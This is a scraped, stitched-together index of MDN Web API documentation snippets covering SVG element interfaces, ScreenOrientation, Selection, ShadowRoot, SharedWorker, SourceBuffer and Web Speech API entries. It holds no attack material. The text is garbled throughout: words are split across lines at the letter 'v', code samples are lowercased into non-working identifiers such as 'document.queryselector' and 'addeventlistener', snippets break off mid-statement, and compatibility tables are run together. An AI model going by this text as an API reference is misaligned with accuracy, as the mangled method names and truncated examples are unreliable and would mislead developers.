... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its...
SVGFontFaceFormatElement - Web APIs
object-oriented access to the attributes of the <font-face-format> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceformatelement" target="_top"><rect x="1" y="1" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="121" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceformatelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits proper...
SVGFontFaceNameElement - Web APIs
object-oriented access to the attributes of the <font-face-name> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacenameelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacenameelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties...
SVGFontFaceSrcElement - Web APIs
object-oriented access to the attributes of the <font-face-src> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfacesrcelement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfacesrcelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties f...
SVGFontFaceUriElement - Web APIs
object-oriented access to the attributes of the <font-face-uri> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgfontfaceurielement" target="_top"><rect x="1" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="106" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfontfaceurielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties f...
SVGForeignObjectElement - Web APIs
the svgforeignobjectelement interface pro
vides access to the properties of <foreignobject> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGGlyphElement - Web APIs
object-oriented access to the attributes of the <glyph> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgglyphelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specification.
SVGGradientElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgelement.
getBBox() - Web APIs
getbbox returns different values than getboundingclientrect(), as the latter returns value relative to the
viewport syntax let bboxrect = object.getbbox(); return value the returned value is a svgrect object, which defines the bounding box.
... example html <svg
viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <g id="group_text_1"> <text x="5" y="16" transform="scale(2, 2)">hello world!</text> <text x="8" y="32" transform="translate(0 20) scale(1.25 1)">hello world again!</text> </g> <!-- shows bbox in green --> <rect id="rect_1" stroke="#00ff00" stroke-width="3" fill="none"> </rect> <!-- shows boundingclientrect in red --> <rect id="rect_2" stroke="#ff0000" stroke-width="3" fill="none"></rect> </svg> javascript var rectbbox = document.queryselector('#rect_1'); var rectboundingclientrect = document.queryselector('#rect_2'); var groupelement = document.queryselector('#group_text_1')...
SVGGraphicsElement: paste event - Web APIs
to override the default beha
vior (for example to insert some different data or a transformation of the clipboard contents) an event handler must cancel the default action using event.preventdefault(), and then insert its desired data manually.
... example html <?xml version="1.0" encoding="utf-8"?> <svg
viewbox="0 0 140 30" width="600" height="320" xmlns="http://www.w3.org/2000/svg"> <foreignobject x="5" y="-10" width="90" height="20"> <input xmlns="http://www.w3.org/1999/xhtml" value="copy this text"/> </foreignobject> <text x="5" y="30" id="element-to-paste-text" tabindex="1">paste it here</text> </svg> css input { font-size: 10px; width: 100%; height: 90%; box-sizing: border-box; border: 1px solid black; } javascript document.getelementbyid("element-to-paste-text").addeventlistener("paste", evt => { evt.target.textcontent = evt.clipboarddata.getdata("text/plain").touppercase(); ...
SVGHKernElement - Web APIs
object-oriented access to the attributes of the <hkern> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svghkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svghkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its paren...
SVGLineElement - Web APIs
the svglineelement interface pro
vides access to the properties of <line> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGMaskElement - Web APIs
the svgmaskelement interface pro
vides access to the properties of <mask> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGMeshElement - Web APIs
the svgmeshelement interface pro
vides access to the properties of <mesh> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgmeshelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmeshelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits pr...
SVGMissingGlyphElement - Web APIs
object-oriented access to the attributes of the <missing-glyph> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgmissingglyphelement" target="_top"><rect x="1" y="1" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmissingglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties...
SVGPolygonElement - Web APIs
the svgpolygonelement interface pro
vides access to the properties of <polygon> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGPolylineElement - Web APIs
the svgpolylineelement interface pro
vides access to the properties of <polyline> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGRectElement - Web APIs
the svgrectelement interface pro
vides access to the properties of <rect> elements, as well as methods to manipulate them.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/no...
SVGTRefElement - Web APIs
object-oriented access to the attributes of the <tref> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgtrefelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent,...
SVGTextContentElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
...
visual spacing adjustments made by the 'x' attribute is ignored.
SVGTextPathElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
... methods this interface does not pro
vide any specific methods, but implements those of its parent, svgtextcontentelement, and also implements methods of svgurireference.
SVGURIReference - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgurireference" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgurireference</text></a></svg></div> a:hover text { fill: #0095dd; poi...
... methods this interface does not pro
vide any specific methods.
SVGVKernElement - Web APIs
object-oriented access to the attributes of the <vkern> element
via the svg dom is not possible.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgvkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgvkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its paren...
ScreenOrientation.angle - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetanglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... 25safari no support noweb
view android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.lock() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... 25safari no support noweb
view android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.onchange - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonchangechrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... 25safari no support noweb
view android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.type - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettypechrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... 25safari no support noweb
view android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.unlock() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetunlockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... 25safari no support noweb
view android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScrollToOptions.left - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, beha
vior: scrollinput.checked ?
... 'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom)
view modulethe definition of 'left' in that specification.
ScrollToOptions.top - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, beha
vior: scrollinput.checked ?
... 'smooth' : 'auto' } window.scrollto(scrolloptions); }); specifications specification status comment css object model (cssom)
view modulethe definition of 'top' in that specification.
Selection.modify() - Web APIs
note: starting in gecko 5.0, the "word" granularity no longer includes the following space, regardless of the default platform beha
vior.
... this makes the beha
vior more consistent, as well as making it work the same way webkit used to work, but unfortunately they have recently changed their beha
vior.
Selection.selectAllChildren() - Web APIs
pre
vious selection is lost.
... example html <main> <button>select footer</button> <p>welcome to my website.</p> <p>i hope you enjoy your
visit.</p> </main> <footer> <address>webmaster@example.com</address> <p>© 2019</p> </footer> javascript const button = document.queryselector('button'); const footer = document.queryselector('footer'); button.addeventlistener('click', (e) => { window.getselection().selectallchildren(footer); }); result specifications specification status comment selection apithe definition of 'selection.selectallchildren()' in that specification.
Using server-sent events - Web APIs
recei
ving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin recei
ving events from it, create a new eventsource object with the url of a script that generates the events.
...as mentioned pre
viously, this can be useful as a keep-alive mechanism if messages might not be sent regularly.
ShadowRoot.mode - Web APIs
when the mode of a shadow root is "closed", the shadow root’s implementation internals are inaccessible and unchangeable from javascript—in the same way the implementation internals of, for example, the <
video> element are inaccessible and unchangeable from javascript.
... li
ving standard ...
ShadowRoot - Web APIs
you can retrieve a reference to an element's shadow root using its element.shadowroot property, pro
vided it was created using element.attachshadow() with the mode option set to open.
... li
ving standard ...
SharedWorker.port - Web APIs
multiple scripts can then access the worker through a messageport object accessed using the sharedworker.port property — the port is started using its start() method: var myworker = new sharedworker('worker.js'); myworker.port.start(); for a full example, see our basic shared worker example (run shared worker.) specifications specification status comment html li
ving standardthe definition of 'abstractworker.onerror' in that specification.
... li
ving standard ...
SharedWorker - Web APIs
} specifications specification status comment html li
ving standardthe definition of 'sharedworker' in that specification.
... li
ving standard no change from unknown.
SourceBuffer.appendBuffer() - Web APIs
the appendbuffer() method of the sourcebuffer interface appends media segment data from an arraybuffer or arraybuffer
view object to the sourcebuffer.
... syntax sourcebuffer.appendbuffer(source); parameters source a buffersource (that is, either an arraybuffer
view or arraybuffer) which contains the media segment data you want to add to the sourcebuffer.
SourceBuffer.appendBufferAsync() - Web APIs
the appendbufferasync() method of the sourcebuffer interface begins the process of asynchronously appending media segment data from an arraybuffer or arraybuffer
view object to the sourcebuffer.
... syntax appendpromise = sourcebuffer.appendbufferasync(source); parameters source a buffersource (that is, either an arraybuffer
view or arraybuffer) which contains the media segment data you want to add to the sourcebuffer.
SourceBufferList - Web APIs
the indi
vidual source buffers can be accessed using array operator (i.e.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" st...
SpeechGrammar - Web APIs
the speechgrammar interface of the web speech api represents a set of words or patterns of words that we want the recognition ser
vice to recognize.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the sa...
SpeechGrammarList.addFromString() - Web APIs
the weight means the importance of this grammar, or the likelihood that it will be recognised by the speech recognition ser
vice.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'addfromstring()' in that specification.
SpeechGrammarList.item() - Web APIs
the item getter of the speechgrammarlist interface is a standard getter — it allows indi
vidual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechrecognitionlist[0]; // var should contain the speechgrammar object created in line 4.
SpeechRecognition.abort() - Web APIs
the abort() method of the web speech api stops the speech recognition ser
vice from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to recei...
SpeechRecognition: end event - Web APIs
the end event of the web speech api speechrecognition object is fired when the speech recognition ser
vice has disconnected.
... bubbles no cancelable no interface event event handler property onend examples you can use the end event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('end', function() { console.log('speech recognition ser
vice disconnected'); }); or use the onend event handler property: recognition.onend = function() { console.log('speech recognition ser
vice disconnected'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification.
SpeechRecognition.maxAlternatives - Web APIs
the maxalternatives property of the speechrecognition interface sets the maximum number of speechrecognitionalternatives pro
vided per speechrecognitionresult.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.onend - Web APIs
the onend property of the speechrecognition interface represents an event handler that will run when the speech recognition ser
vice has disconnected (when the end event fires.) syntax myspeechrecognition.onend = function() { ...
... }; examples var recognition = new speechrecognition(); recognition.onend = function() { console.log('speech recognition ser
vice disconnected'); } specifications specification status comment web speech apithe definition of 'onend' in that specification.
SpeechRecognition.onresult - Web APIs
the onresult property of the speechrecognition interface represents an event handler that will run when the speech recognition ser
vice returns a result — a word or phrase has been positively recognized and this has been communicated back to the app (when the result event fires.) syntax myspeechrecognition.onresult = function() { ...
... // each speechrecognitionresult object contains speechrecognitionalternative objects that contain indi
vidual results.
SpeechRecognition.onstart - Web APIs
the onstart property of the speechrecognition interface represents an event handler that will run when the speech recognition ser
vice has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition (when the start event fires.) syntax myspeechrecognition.onstart = function() { ...
... }; examples recognition.onstart = function() { console.log('speech recognition ser
vice has started'); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechRecognition.start() - Web APIs
the start() method of the web speech api starts the speech recognition ser
vice listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
...lors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise |
violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to recei...
SpeechRecognition: start event - Web APIs
the start event of the web speech api speechrecognition object is fired when the speech recognition ser
